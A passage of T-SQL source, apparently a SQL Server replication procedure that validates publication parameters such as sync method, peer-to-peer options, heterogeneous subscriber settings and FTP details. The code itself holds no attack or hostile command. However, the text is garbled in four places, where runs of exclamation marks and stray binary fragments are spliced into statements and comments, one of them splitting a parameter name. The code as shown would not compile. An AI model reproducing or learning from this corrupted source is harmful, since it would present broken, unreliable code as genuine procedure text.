                                            else CASE WHEN @repl_freq = N'snapshot' THEN N'character' ELSE N'concurrent_c' END
                                            end
                        else LOWER(@sync_method) end
    IF @sync_method NOT IN (N'native', N'character', N'bcp native', N'bcp character', N'dump database', N'concurrent', N'concurrent_c', N'database snapshot', N'database snapshot character')
    BEGIN
        RAISERROR (14014, 16, -1)
        RETURN (1)
    END

    if (@sync_method = N'dump database')
        select @backward_comp_level = 40 -- not sure if we are using this, but has to be shiloh feature

    SELECT @smid =  case 
                                    when (@sync_method = N'database snapshot character') then 6
                                    when (@sync_method = N'database snapshot') then 5
                                    when (@sync_method = N'concurrent_c') then 4
                                    when (@sync_method = N'concurrent') then 3
                                    when (@sync_method = N'dump database') then 2
                                    when (@sync_method IN (N'character', N'bcp character')) then 1
                                    else 0
                            end
            ,@rfid = CASE WHEN @repl_freq = N'snapshot' THEN 1 ELSE 0 END

    IF @repl_freq = N'snapshot' AND @smid in (4, 3)
    BEGIN
        RAISERROR(22547, 16, -1)
        RETURN (1)
    END

    IF @issqlpublisher = 0
    BEGIN
        -- HREPL: Must be character mode sync method
        if @smid not in (1,4)
        begin
            RAISERROR(21633, 16, -1, @publication)
            RETURN (1)
        end
        -- Verify HREPL repl frequency/sync method combinations
        -- SNAPSHOT requires CHARACTER
        IF @rfid = 1 AND @smid != 1
        BEGIN
            RAISERROR(21638, 16, -1, @repl_freq, N'''character''')
            RETURN (1)
        END
        -- TRANSACTIONAL requires CONCURRENT_C
        ELSE IF @rfid = 0 AND @smid != 4
        BEGIN
            RAISERROR(21638, 16, -1, @repl_freq, '''concurrent_c''')
            RETURN (1)
        END
    END
    --
    -- Check editions for enabling publication creation
    --
    IF @issqlpublisher = 1
    BEGIN
        --
        -- SQL publisher
        -- Allow snapshot/transactional publication on Enterprise, Eval,
        -- Developer, Standard, Workgroup
        -- For P2P enabled or Heterogenous subscriber enabled publication 
        -- additional check is done later
        --
        if (@publisher_engine_edition not in (20,21,30,31))
        begin
            raiserror(21108, 16, -1)
            return (1)
        end
    END
    ELSE
    BEGIN
        --
        -- HREPL publisher
        -- Allow publication on Enterprise, Eval, Developer
        --
        if (@publisher_engine_edition not in (30,31))
        begin
            raiserror(21108, 16, -1)
            return (1)
        end
    END -- end hrepl pub
     /*
    ** Parameter Check:  @restricted.
    */
    SELECT @restricted = LOWER(@restricted)
    IF (@restricted IS NULL) OR (@restricted NOT IN (N'true', N'false'))
    BEGIN
        RAISERROR (14017, 16, -1)
        RETURN (1)
    END
    /*
    ** Restricted publications are no longer supported
    */
    IF @restricted = N'true'
    BEGIN
        RAISERROR (14147, 16, -1)
        RETURN(1)
    END
    /*
    ** Parameter Check:  @status.
    ** The @status value can be:
    **
    **      statid  status
    **      ======  ========
    **           0  inactive
    **           1  active
    */
    SELECT @status = LOWER(@status)
    IF @status IS NULL OR @status NOT IN (N'inactive', N'active')
    BEGIN
        RAISERROR (14012, 16, -1)
        RETURN (1)
    END
    SELECT @statid = case when (@status = N'active') then 1 else 0 end
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(R= Fvz/*
    ** Parameter Check:  @independent_agent.
    */
    SELECT @independent_agent = LOWER(@independent_agent)
    IF @independent_agent IS NULL OR @independent_agent NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@independent_agent')
        RETURN (1)
    END
    SELECT @independent_agent_id = case when (@independent_agent = N'true') then 1 else 0 end
    /*
    ** Parameter Check:  @immediate_sync.
    */
    -- set defaults differently depending on p2p being enabled
    SELECT @immediate_sync = case when (@immediate_sync IS NULL)
                    then case when (LTRIM(RTRIM(LOWER(@enabled_for_p2p))) = N'true') 
                                        then N'true' else N'false' end
                    else LOWER(@immediate_sync) end

    IF @immediate_sync NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@immediate_sync')
        RETURN (1)
    END
    SELECT @immediate_sync_id = case when (@immediate_sync = N'true') then 1 else 0 end
    /*
    ** Parameter Check:  @enabled_for_internet.
    */
    SELECT @enabled_for_internet = LOWER(@enabled_for_internet)
    IF @enabled_for_internet IS NULL OR @enabled_for_internet NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@enabled_for_internet')
        RETURN (1)
    END
    SELECT @enabled_for_internet_id = case when (@enabled_for_internet = N'true') then 1 else 0 end
    /*
    ** Parameter Check:  @allow_push.
    */
    SELECT @allow_push = LOWER(@allow_push)
    IF @allow_push IS NULL OR @allow_push NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@allow_push')
        RETURN (1)
    END
    SELECT @allow_push_id = case when (@allow_push = N'true') then 1 else 0 end
    /*
    ** Parameter Check:  @allow_pull.
    */
    SELECT @allow_pull = LOWER(@allow_pull)
    IF @allow_pull IS NULL OR @allow_pull NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@allow_pull')
        RETURN (1)
    END
    SELECT @allow_pull_id = case when (@allow_pull = N'true') then 1 else 0 end
    /*
    ** Parameter Check:  @allow_anonymous.
    */
    SELECT @allow_anonymous = LOWER(@allow_anonymous)
    IF @allow_anonymous IS NULL OR @allow_anonymous NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@allow_anonymous')
        RETURN (1)
    END
    SELECT @allow_anonymous_id = case when (@allow_anonymous = N'true') then 1 else 0 end
    /* Immediate_sync publications have to be independent_agent */
    IF @immediate_sync_id = 1 AND @independent_agent_id = 0
    BEGIN
        RAISERROR (21022, 16, -1)
        RETURN (1)
    END
    /* 
    ** Non-immediate sync do not support anonymous subscriptions.
    */
    IF @immediate_sync_id = 0 AND @allow_anonymous_id = 1
    BEGIN
            RAISERROR (20011, 16, -1)
            RETURN (1)
    END
    -- SyncTran
    /*
    ** Parameter Check:  @allow_sync_tran
    */
    SELECT @allow_sync_tran = LOWER(@allow_sync_tran)
    IF @allow_sync_tran IS NULL OR @allow_sync_tran NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@allow_sync_tran')
        RETURN (1)
    END

    IF @publisher_type != N'MSSQLSERVER' AND @allow_sync_tran = N'true'
    BEGIN
        RAISERROR (21632, 16, -1, N'@allow_sync_tran', N'''false'' or NULL')
        RETURN (1)
    END
    /*
    ** Parameter Check:  @allow_queued_tran
    */
    SELECT @allow_queued_tran = LOWER(@allow_queued_tran)
    IF @allow_queued_tran IS NULL OR @allow_queued_tran NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@allow_queued_tran')
        RETURN (1)
    END

    IF @publisher_type != N'MSSQLSERVER' AND @allow_queued_tran = N'true'
    BEGIN
        RAISERROR (21632, 16, -1, N'@allow_queued_tran', N'''false'' or NULL')
        RETURN (1)
    END

    IF @allow_sync_tran = N'true' 
    BEGIN
        -- If we are doing sync tran, we need independent agents
        -- override the user input
        SELECT @allow_sync_tran_id = 1
            ,@independent_agent = N'true'
            ,@independent_agent_id = 1
            ,@backward_comp_level = 40 -- immediate update needs to have the new sp_addsynctriggers stored proc
    END

    IF @allow_queued_tran = N'true' 
    BEGIN
        -- If we are doing queued tran, we need independent agents
        -- override the user input
        SELECT @allow_queued_tran_id = 1
            ,@independent_agent = N'true'
            ,@independent_agent_id = 1
            ,@backward_comp_level = 40 -- queued compenents not avaliable prior to shiloh
    END
    -- Parameter Check:  @autogen_sync_procs
    -- If default requested, set to TRUE for SQL Server publications
    -- and FALSE for HREPL publications
    select @autogen_sync_procs = case when (@autogen_sync_procs IS NULL)
                    then case when (@issqlpublisher = 1) then N'true' else N'false' end
                    else LOWER(@autogen_sync_procs) end
    
    IF @autogen_sync_procs NOT IN (N'true', N'false')
    BEGIN                                
        RAISERROR (14148, 16, -1, '@autogen_sync_procs')
        RETURN (1)
    END

    IF @issqlpublisher = 0 and @autogen_sync_procs = N'true'
    BEGIN
        RAISERROR (21632, 16, -1, N'@autogen_sync_procs', N'''false'' or NULL')
        RETURN (1)
    END
    --
    -- For publications that allow updating subscribers (immediate/queued)
    -- this option has to be true at all times, for others
    -- it should be false. This flag is not of any value currently
    -- as we do not have any provision for accepting custom generated
    -- synctan proc names for an article. For now, we will override
    -- the user supplied value
    --
    select @autogen_sync_procs_id = case 
        when (@allow_sync_tran_id = 0 and @allow_queued_tran_id = 0) then 0
        else 1
    end
    --
    -- Portable snapshot
    --
    SELECT @snapshot_in_defaultfolder = LOWER(@snapshot_in_defaultfolder)
    IF @snapshot_in_defaultfolder IS NULL OR @snapshot_in_defaultfolder NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@snapshot_in_defaultfolder')
        RETURN (1)
    END
    SELECT @snapshot_in_defaultfolder_bit = case when (@snapshot_in_defaultfolder = N'true') then 1 else 0 end
    -- Pre/Post snapshot commands
    -- If @sync_method is character mode bcp, this would indicate that
    -- this publication may support non-SQL Server subscribers. In this 
    -- case, pre- and post- snapshot commands are not allowed.
    --
    -- HREPL: Ignore this restriction
    if (@pre_snapshot_script = N'')
        select @pre_snapshot_script = NULL
    if (@post_snapshot_script = N'')
        select @post_snapshot_script = NULL

    IF @smid = 1 AND @issqlpublisher = 1 AND
        (@pre_snapshot_script IS NOT NULL OR @post_snapshot_script IS NOT NULL )
    BEGIN
        RAISERROR (21151, 16, -1)
        RETURN (1)
    END
    --
    -- Parameter check - @compress_snapshot
    -- @compress_snapshot can be 1 if @alt_snapshot_folder is non-null
    --
    SELECT @compress_snapshot = LOWER(@compress_snapshot)
    IF @compress_snapshot IS NULL OR @compress_snapshot NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@compress_snapshot')
        RETURN (1)
    END    
    SELECT @compress_snapshot_bit = case when (@compress_snapshot = N'true') then 1 else 0 end
    --
    -- Snapshot compression can only be enabled if an alternate 
    -- snapshot generation folder exists or the publication
    -- is enabled for internet.
    --
    if (@alt_snapshot_folder = N'')
        select @alt_snapshot_folder = NULL
    IF (@compress_snapshot_bit = 1 AND @alt_snapshot_folder IS NULL  
            AND @enabled_for_internet = N'false')
    BEGIN
        RAISERROR (21157, 16, -1)
        RETURN (1)
    END    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(S="1vz
    --
    -- Parameter check: ftp_address
    -- If the publication is enabled for internet, ftp_address cannot be null
    --
    if (@ftp_address = N'')
        select @ftp_address = NULL
    IF @enabled_for_internet_id = 1 AND @ftp_address IS NULL
    BEGIN
        RAISERROR (21158, 16, -1)
        RETURN (1)
    END     

    -- Parameter check: ftp_port
    IF @ftp_port IS NULL or @ftp_port not between  0 and 65535
    BEGIN
        RAISERROR (21160, 16, -1)
        RETURN (1)
    END

    -- Parameter check : DTS
    SELECT @allow_dts = LOWER(@allow_dts)
    IF @allow_dts IS NULL OR @allow_dts NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@allow_dts')
        RETURN (1)
    END

    IF @issqlpublisher = 0 and @allow_dts = N'true'
    BEGIN
        RAISERROR (21632, 16, -1, N'@allow_dts', N'false')
        RETURN (1)
    END
    
    -- Encrypt ftp password before putting it into the syspublications
    -- table if one is provided
    IF @ftp_password IS NOT NULL
    BEGIN
        SELECT @enc_ftp_password = @ftp_password 
        EXEC @retcode = sys.sp_MSreplencrypt @enc_ftp_password OUTPUT
        IF @retcode <> 0
            RETURN (1)
    END    

    SELECT @allow_dts_id = case when (@allow_dts = N'true') then 1 else 0 end

    -- To allow DTS, the publication has to be
    -- 1. independent agent
    -- 2. char bcp

    if @allow_dts_id = 1
    begin
        if @smid NOT IN ( 1, 4, 6 )
        begin
            -- 'The publication has to be in char bcp mode.'
            raiserror(21172, 16, -1)
            return(1)
        end
        if @independent_agent_id = 0
        begin
            -- 'The publication has to be independent agent.'
            raiserror(21173, 16, -1)
            return(1)       
        end
        if @allow_sync_tran_id = 1 or @allow_queued_tran_id = 1
        begin
            raiserror(21180, 16, -1)
            return(1)
        end
    end

    -- Parameter check : @allow_subscription_copy
    SELECT @allow_subscription_copy = LOWER(@allow_subscription_copy)
    IF @allow_subscription_copy IS NULL OR @allow_subscription_copy NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@allow_dts')
        RETURN (1)
    END
    SELECT @allow_subscription_copy_id = case when (@allow_subscription_copy = N'true') then 1 else 0 end
    --
    -- To allow subscription copy, the publication has to be
    -- 1. immediate_sync
    --
    if @allow_subscription_copy_id = 1 and @immediate_sync_id != 1
    begin
        raiserror(21210, 16, -1)
        return(1)
    end
    --
    -- Check parameters for queued publications
    -- Parameter check: @conflict_policy
    -- Parameter check: @centralized_conflicts
    -- Parameter check: @queue_type
    --
    SELECT @conflict_policy = LOWER(@conflict_policy)
                ,@centralized_conflicts = LOWER(@centralized_conflicts)
                ,@queue_type = LOWER(@queue_type)
                
    IF @issqlpublisher = 0 
    BEGIN
        -- HREPL checks
        IF @conflict_policy is NOT NULL
        BEGIN
            RAISERROR (21632, 16, -1, N'@conflict_policy', N'NULL')
            RETURN (1)
        END
        IF @centralized_conflicts is NOT NULL
        BEGIN
            RAISERROR (21632, 16, -1, N'@centralized_conflicts', N'NULL')
            RETURN (1)
        END
        IF @queue_type is NOT NULL
        BEGIN
            RAISERROR (21632, 16, -1, N'@queue_type', N'NULL')
            RETURN (1)
        END
    END
    --
    -- Set queued publication bits
    --
    IF (@allow_queued_tran_id = 1)
    begin
        --
        -- set default conflict_policy if required
        --
        if (@conflict_policy IS NULL)
        begin
            --
            -- if it is snapshot based, then the default policy is 'sub reinit'
            -- else the default policy is 'pub wins'
            --
            select @conflict_policy = case when (@rfid = 1) then N'sub reinit' 
                                        else N'pub wins' end
        end
        
        select @conflict_policy_id = case 
                                    when (@conflict_policy = N'sub reinit') then 3
                                    when (@conflict_policy = N'pub wins') then 1
                                    when (@conflict_policy = N'sub wins') then 2
                                    else 0 end

        if (@conflict_policy_id = 0)
        begin
            raiserror (21184, 16, 2, N'@conflict_policy', N'sub reinit', N'pub wins', N'sub wins')
            return (1)
        end
        --
        -- Check snapshot permissible values
        --
        if (@rfid = 1 and @conflict_policy_id = 1)
        begin
            raiserror (21270, 16, 1, N'@conflict_policy', @conflict_policy)
            return (1)
        end
        --
        -- set default centralized_conflicts if required
        --
        if (@centralized_conflicts IS NULL)
            select @centralized_conflicts = N'true'
        
        if (@centralized_conflicts not in (N'true',N'false'))
        begin
            raiserror (14148, 16, -1, N'@centralized_conflicts')
            return (1)
        end
        select @centralized_conflicts_bit = case when (@centralized_conflicts = N'true') then 1 else 0 end
        --
        -- Check snapshot permissible values
        --
        if (@rfid = 1 and @centralized_conflicts_bit = 0)
        begin
            raiserror (21270, 16, 1, N'@centralized_conflicts', @centralized_conflicts)
            return (1)
        end
        
        if (@conflict_retention IS NULL)
            select @conflict_retention = 14
        else if (@conflict_retention < 0)
        begin
            raiserror(20050, 16, -1, 0)
            return (1)
        end

        if ((@queue_type IS NULL) or (@queue_type = N'sql'))
            select @queue_type_val = 2
        else if (@queue_type = N'msmq')
        begin
            raiserror(21767, 10, 1, N'@queue_type = ''msmq''', N'@queue_type = ''sql''')
            select @queue_type_val = 2
        end
        else
        begin
            raiserror (21184, 16, 3, N'@queue_type', N'sql', N'null', N'NULL')
            return (1)
        end
    end
 
   -- Parameter check: @qreader_job_name
   IF @issqlpublisher = 0 and @qreader_job_name IS NOT NULL
   BEGIN
        RAISERROR (21632, 16, -1, N'@qreader_job_name', N'NULL')
        RETURN (1)
   END

    -- Parameter check: @enabled_for_p2p
    SELECT @enabled_for_p2p = LOWER(@enabled_for_p2p)
    IF @enabled_for_p2p IS NULL OR @enabled_for_p2p not in (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@enabled_for_p2p')
        RETURN (1)
    END
    
    IF @enabled_for_p2p = N'true'
    begin
        -- Verify SQL Server edition
        -- Peer-To-Peer is restricted to Enterprise and Developer editions
        if (@publisher_engine_edition not in (30,31))
        begin
            select @edition = convert(sysname, serverproperty(N'Edition'))
            raiserror(20816, 16, -1, @edition)
            return (1)
        end

        if @issqlpublisher = 0
        begin
            -- @enabled_for_p2p is not supported for heterogeneous publications, must be false.
            raiserror (21632, 16, -1, N'@enabled_for_p2p', N'false')
            return (1)
        end

        if isnull(@allow_sync_tran, N'false') = N'true' 
        begin
            -- Parameter '@enabled_for_p2p' can only be set to 'true' when '@allow_sync_tran' is set to 'false'.
            raiserror(21678, 16, -1, N'@enabled_for_p2p', N'true', N'@allow_sync_tran', N'false')
            return (1)
        end

        if isnull(@allow_queued_tran, N'false') = N'true' 
        begin
            -- Parameter '@enabled_for_p2p' can only be set to 'true' when '@allow_queued_tra!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(T=$3vzn' is set to 'false'.
            raiserror(21678, 16, -1, N'@enabled_for_p2p', N'true', N'@allow_queued_tran', N'false')
            return (1)
        end

        if isnull(@allow_dts, N'false') = N'true' 
        begin
            -- Parameter '@enabled_for_p2p' can only be set to 'true' when '@allow_dts' is set to 'false'.
            raiserror(21678, 16, -1, N'@enabled_for_p2p', N'true', N'@allow_dts', N'false')
            return (1)
        end

        if isnull(@conflict_policy, N'false') = N'true'
        begin
            -- Parameter '@enabled_for_p2p' can only be set to 'true' when '@conflict_policy' is set to 'NULL'.
            raiserror(21678, 16, -1, N'@enabled_for_p2p', N'true', N'@conflict_policy', N'NULL')
            return (1)
        end

        if @independent_agent_id != 1
        begin
            -- Parameter '@enabled_for_p2p' can only be set to 'true' when '@independent_agent' is set to 'true'.
            raiserror(21678, 16, -1, N'@enabled_for_p2p', N'true', N'@independent_agent', N'true')
            return (1)
        end

        if @allow_subscription_copy_id = 1
		begin
            -- Parameter '@enabled_for_p2p' can only be set to 'true' when '@independent_agent' is set to 'false'.
            raiserror(21678, 16, -1, N'@enabled_for_p2p', N'true', N'@allow_subscription_copy_id', N'false')
            return (1)
        end
        
        if @repl_freq != N'continuous'
        begin
            -- Parameter '@enabled_for_p2p' can only be set to 'true' when '@repl_freq' is set to 'continuous'.
            raiserror(21678, 16, -1, N'@enabled_for_p2p', N'true', N'@repl_freq', N'continuous')
            return (1)
        end

        if not isnull(@replicate_ddl, 1) = 1
        begin
	        -- Parameter N'@enabled_for_p2p' can only be set to N'true' when '@replicate_ddl' is set to '1'.
	        raiserror(21678, 16, -1, N'@enabled_for_p2p', N'true', N'@replicate_ddl', '1')
	        return (1)
        end

        -- section for forcefully setting property values for p2p
        if isnull(@allow_anonymous, N'true') = N'true' 
        begin
            select @allow_anonymous = N'false'

            -- Warning : The '%s' property for %s '%s' has been changed to '%s' because it is required by %s.
            raiserror(21853, 10, -1, N'allow_anonymous', N'publication', @publication, N'false', N'Peer-To-Peer')
        end

		if isnull(@immediate_sync, N'false') = N'false'
			or  @immediate_sync_id = 0
        begin
            -- here we have to force immediate_sync to true
            select @immediate_sync = N'true',
            		@immediate_sync_id = 1

            -- Warning : The '%s' property for %s '%s' has been changed to '%s' because it is required by %s.
            raiserror(21853, 10, -1, N'immediate_sync', N'publication', @publication, N'true', N'Peer-To-Peer')
        end
        
        if isnull(@allow_initialize_from_backup, N'false') = N'false'
        begin
            -- here we have to force allow_initialize_from_backup to true
            select @allow_initialize_from_backup = N'true'

            -- Warning : The '%s' property for %s '%s' has been changed to '%s' because it is required by %s.
            raiserror(21853, 10, -1, N'allow_initialize_from_backup', N'publication', @publication, N'true', N'Peer-To-Peer')
        end

        if isnull(@smid, 1) != 0
        begin
			select @smid = 0,
					@sync_method = N'native'
			
			-- Warning : The '%s' property for %s '%s' has been changed to '%s' because it is required by %s.
            raiserror(21853, 10, -1, N'sync_method', N'publication', @publication, N'native', N'Peer-To-Peer')			
        end

        -- set the p2p option bits
        select @options_bitfield = @options_bitfield | @OPT_ENABLED_FOR_P2P
    end
    
    -- Parameter check: @allow_initialize_from_backup (default to FALSE if the value is NULL)
    SELECT @allow_initialize_from_backup = ISNULL(LOWER(@allow_initialize_from_backup), N'false')
    IF @allow_initialize_from_backup NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@allow_initialize_from_backup')
        RETURN (1)
    END
    
    SELECT @allow_initialize_from_backup_id =  case when (@allow_initialize_from_backup = N'true') then 1 else 0 end
    
    -- Verify related parameters if @enabled_for_het_sub = 'true'
    IF @enabled_for_het_sub = N'true'
    BEGIN
        -- Het_sub not supported on Workgroup Edition
        IF(@publisher_engine_edition = 21)
        BEGIN 
            RAISERROR(14173, 16, -1,N'@enabled_for_het_sub') 
            RETURN (1)
        END

        IF isnull(@enabled_for_internet, N'false') = N'true' 
        BEGIN
            -- Parameter '@enabled_for_het_sub' can only be set to 'true' when '@enabled_for_internet' is set to 'false'.
            raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@enabled_for_internet', N'false')
            return (1)
        END

        IF isnull(@allow_pull, N'false') = N'true' 
        BEGIN
            -- Parameter '@enabled_for_het_sub' can only be set to 'true' when '@allow_pull' is set to 'false'.
            raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@allow_pull', N'false')
            return (1)
        END

        IF isnull(@allow_sync_tran, N'false') = N'true' 
        BEGIN
            -- Parameter '@enabled_for_het_sub' can only be set to 'true' when '@allow_sync_tran' is set to 'false'.
            raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@allow_sync_tran', N'false')
            return (1)
        END

        IF isnull(@autogen_sync_procs, N'false') = N'true' 
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@autogen_sync_procs' is set to N'false'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@autogen_sync_procs', N'false')
        return (1)
        END

        IF isnull(@allow_queued_tran, N'false') = N'true' 
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@allow_queued_tran' is set to N'false'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@allow_queued_tran', N'false')
        return (1)
        END

        IF not isnull(@pre_snapshot_script, N'') = N''
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@pre_snapshot_script' is set to 'NULL'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@pre_snapshot_script', 'NULL')
        return (1)
        END

        IF not isnull(@post_snapshot_script, N'') = N''
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@post_snapshot_script' is set to 'NULL'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@post_snapshot_script', 'NULL')
        return (1)
        END

        IF not isnull(@ftp_address, N'') = N''
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@ftp_address' is set to 'NULL'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@ftp_address', 'NULL')
        return (1)
        END

        IF not isnull(@ftp_subdirectory, N'') = N''
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@ftp_subdirectory' is set to 'NULL'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@ftp_subdirectory', 'NULL')
        return (1)
        END

        IF not isnull(@ftp_password, N'') = N''
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@ftp_password' is set to 'NULL'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@ftp_password', 'NULL')
        return (1)
        END

        IF isnull(@allow_subscription_copy, N'false') = N'true'
        BEGIN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(U=*XJXxvz
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@allow_subscription_copy' is set to N'false'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@allow_subscription_copy', N'false')
        return (1)
        END

        IF not isnull(@conflict_policy, N'') = N''
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@conflict_policy' is set to 'NULL'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@conflict_policy', 'NULL')
        return (1)
        END

        IF not isnull(@queue_type, N'') = N''
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@queue_type' is set to 'NULL'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@queue_type', 'NULL')
        return (1)
        END

        IF not isnull(@qreader_job_name, N'') = N''
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@qreader_job_name' is set to 'NULL'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@qreader_job_name', 'NULL')
        return (1)
        END

        IF isnull(@allow_initialize_from_backup, N'false') = N'true'
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@allow_initialize_from_backup' is set to N'false'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@allow_initialize_from_backup', N'false')
        return (1)
        END

        IF not isnull(@replicate_ddl, 0) = 0
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when '@replicate_ddl' is set to '0'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@replicate_ddl', '0')
        return (1)
        END

        IF isnull(@enabled_for_p2p, N'false') = N'true'
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when N'@enabled_for_p2p' is set to N'false'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@enabled_for_p2p', N'false')
        return (1)
        END
        
        IF @smid not in (1, 4, 6)
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when N'@sync_method' is set to N'character, bcp character, concurrent_c, or database snapshot character'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@sync_method', N'character, bcp character, concurrent_c, or database snapshot character')
        return (1)
        END
      
        IF isnull(@allow_push, N'true') = N'false'
        BEGIN
        -- Parameter N'@enabled_for_het_sub' can only be set to N'true' when N'@allow_push' is set to N'true'.
        raiserror(21678, 16, -1, N'@enabled_for_het_sub', N'true', N'@allow_push', N'true')
        return (1)
        END

        select @options_bitfield = @options_bitfield | @OPT_ENABLED_FOR_HET_SUB
    END

    if @allow_initialize_from_backup_id = 1
    begin
        -- Publication must allow immediate sync
        -- (Restriction temporarily lifted)
--        if @immediate_sync_id = 0
--        begin
--            raiserror(18788, 16, -1)
--            return (1)
--        end

        -- Publication cannot allow DTS
        -- (Restriction temporarily lifted)
--        if @allow_dts_id = 1
--        begin
--            raiserror(18789, 16, -1)
--            return (1)
--        end     

        -- Publication cannot be a snapshot publication
        if @rfid = 1
        begin
            raiserror(18787, 16, -1)
            return (1)
        end
        
        -- Publication cannot be a non-SQL Server publication
        if @issqlpublisher = 0
        begin
            raiserror(18790, 16, -1)
            return (1)
        end
    end
    
    -- Parameter check: @replicate_ddl
    if @issqlpublisher = 1 
    BEGIN
        if (@replicate_ddl IS NULL)
            select @replicate_ddl = case when (@options_bitfield & @OPT_ENABLED_FOR_HET_SUB = @OPT_ENABLED_FOR_HET_SUB) then 0 else 1 end
	else if(@replicate_ddl not in (0, 1))
	begin
            raiserror (21544, 16, -1)
            return (1)
	end
END
    ELSE
    BEGIN
        IF @replicate_ddl IS NULL
            select @replicate_ddl = 0

        IF @replicate_ddl != 0
        BEGIN
            -- @replicate_ddl is not supported for heterogeneous publications, must be 0
            raiserror (21632, 16, -1, '@replicate_ddl', '0')
            return (1)
        END
    END
    
    -- Parameter check: @publish_local_changes_only
    SELECT @publish_local_changes_only = LOWER(@publish_local_changes_only)
    IF @publish_local_changes_only IS NULL OR @publish_local_changes_only NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@publish_local_changes_only')
        RETURN (1)
    END
    
    if @publish_local_changes_only = N'true'
    begin
        select @options_bitfield = @options_bitfield | @OPT_PUBLISH_ONLY_LOCAL_CHANGES
    end

    -- Parameter check: @p2p_conflictdetection
    SELECT @p2p_conflictdetection = LOWER(@p2p_conflictdetection)
    IF @p2p_conflictdetection IS NULL OR @p2p_conflictdetection NOT IN (N'true', N'false')
    BEGIN
        RAISERROR (14148, 16, -1, N'@p2p_conflictdetection')
        RETURN (1)
    END

   IF @p2p_conflictdetection = N'true' 
   BEGIN
        IF @enabled_for_p2p = N'false'
        BEGIN
            -- Parameter N'@p2p_conflictdetection' can only be set to N'true' when '@enabled_for_p2p' is set to N'true'.
            raiserror(21678, 16, -1, N'@p2p_conflictdetection', N'true', N'@enabled_for_p2p', N'true')
            RETURN (1)
        END

        -- Parameter check: @p2p_originator_id
        IF @p2p_originator_id IS NOT NULL AND (@p2p_originator_id = 0 or @p2p_originator_id = 0x80000000)
        BEGIN
              -- Originator ID provided is invalid: 0 or 0x80000000.
              select @strval = cast(@p2p_originator_id as nvarchar)
              raiserror(22806, 16, -1, @strval)
              RETURN (1)
        END

	-- Parameter check: @p2p_continue_onconflict
	SELECT @p2p_continue_onconflict = LOWER(@p2p_continue_onconflict)
	IF @p2p_continue_onconflict IS NULL or @p2p_continue_onconflict NOT IN (N'true', N'false')
	BEGIN
       	RAISERROR (14148, 16, -1, N'@p2p_continue_onconflict')
       	RETURN (1)
	END
           
        -- Parameter check: @conflict_retention
        if (@conflict_retention IS NULL)
            select @conflict_retention = 14
        else if (@conflict_retention < 0)
        begin
            raiserror(20050, 16, -1, 0)
            return (1)
        end

        -- set the p2p option bits
        select @options_bitfield = @options_bitfield | @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION
        if @p2p_continue_onconflict = N'true'
        	select @options_bitfield = @options_bitfield | @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT	
    END
    
    /*
    ** Parameter Check:  @allow_partition_switch.
    */
    SELECT @allow_partition_switch = LOWER(@allow_partition_switch)
